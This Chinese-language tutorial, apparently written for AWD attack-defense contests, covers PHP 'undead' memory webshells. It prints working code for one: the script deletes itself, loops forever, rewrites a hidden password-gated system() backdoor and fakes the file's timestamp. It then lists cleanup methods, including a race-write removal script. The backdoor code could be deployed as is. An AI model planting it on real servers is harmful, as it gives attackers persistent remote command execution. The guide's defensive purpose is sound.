PHP内存性木马
一种比较隐蔽的恶意代码,它的特点是能够在服务器上保持持续运行,而且通常会创建隐蔽的后门,以便攻击者随时可以访问受感染的服务器。这种木马在AWD(Attack-Defense War)和Web安全竞赛中经常被用来测试和挑战安全性。
示例
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '/var/www/dvwa/.ski12.php';
$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
while (1) {
file_put_contents($file, $code);
system('touch -m -d "2023-9-16 09:10:12" .ski12.php');
usleep(5000);
}
代码 | 解释 |
---|---|
ignore_user_abort(true) | 告诉服务器在客户端断开连接后继续在后台运行执行脚本,即使用户关闭了浏览器或断开了连接 |
set_time_limit(0) | 将PHP脚本的执行时间限制设置为无限制,确保脚本不会因为执行时间过长而中断 |
unlink(FILE) | 删除当前运行的PHP脚本文件,使其在删除后不容易被发现 |
$file=‘/var/www/dvwa/.ski12.php’ | 指定了木马脚本将要写入的文件路径 |
$code=‘…’ | 木马脚本的主要部分,包含了一个基于POST请求的密码验证,如果提供的密码正确,就允许执行系统命令。这是后门的一部分,允许攻击者远程控制服务器 |
while (1) | 一个无限循环,会不断将上述的木马代码写入指定的文件,使用system命令修改文件的修改时间,以隐藏木马的存在 |
file_put_contents($file, $code) | 将木马代码写入指定的文件中 |
system(‘touch -m -d “2023-9-16 09:10:12” .ski12.php’) | 使用system命令修改文件的修改时间,以隐藏木马的存在 |
usleep(5000) | 这一行代码让程序暂停5000微秒(即0.005秒)再进入下一次循环 |
查杀方法
- 重启服务:重启服务器上受感染的服务是一种有效的方法,因为它会终止所有正在运行的进程,包括木马程序。但这并不总是可行,因为可能会中断正常的服务并影响其他用户。
- 终止www-data用户的子进程:这个命令会查找所有属于www-data用户的子进程,并强制终止它们。www-data用户通常用于运行Web服务器(如Apache或Nginx),而攻击者可能会尝试利用这个用户来运行木马。终止这些进程可以停止木马的执行。
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
ps aux:列出当前运行的所有进程
grep www-data:筛选包含"www-data"的进程
awk ‘{print $2}’:提取进程ID
xargs kill -9:强制终止这些进程 - 创建同名目录:利用木马的自我保护机制。木马通常会检测是否存在与其文件名相同的目录,如果存在,则不会执行。因此,创建一个同名目录可以防止木马再次执行。
- 编写竞争写入脚本:这是一种更高级的方法,它尝试不断写入和删除木马文件,以阻止木马的正常执行。需要确保竞争写入脚本的usleep()时间小于不死马的usleep()时间,以确保它能够成功干扰木马。
#!/bin/bash # 创建一个数组,用于存储所有已知的木马文件路径 malwareFiles=("木马的文件路径1" "木马的文件路径2") # 进入一个无限循环,用于持续清除木马 while true; do # 终止进程 processes=$(ps aux | grep "木马的进程名" | grep -v grep | awk '{print $2}') # 将获取的PID字符串按行分割成数组 IFS=$'\n' read -ra process_ids <<< "$processes" # 遍历PID数组并逐个终止进程 for pid in "${process_ids[@]}"; do if [ ! -z "$pid" ]; then kill -9 "$pid" fi done # 删除木马文件 for file in "${malwareFiles[@]}"; do if [ -e "$file" ]; then rm -f "$file" fi done # 暂停脚本执行,以避免过多系统资源占用 sleep 0.001 done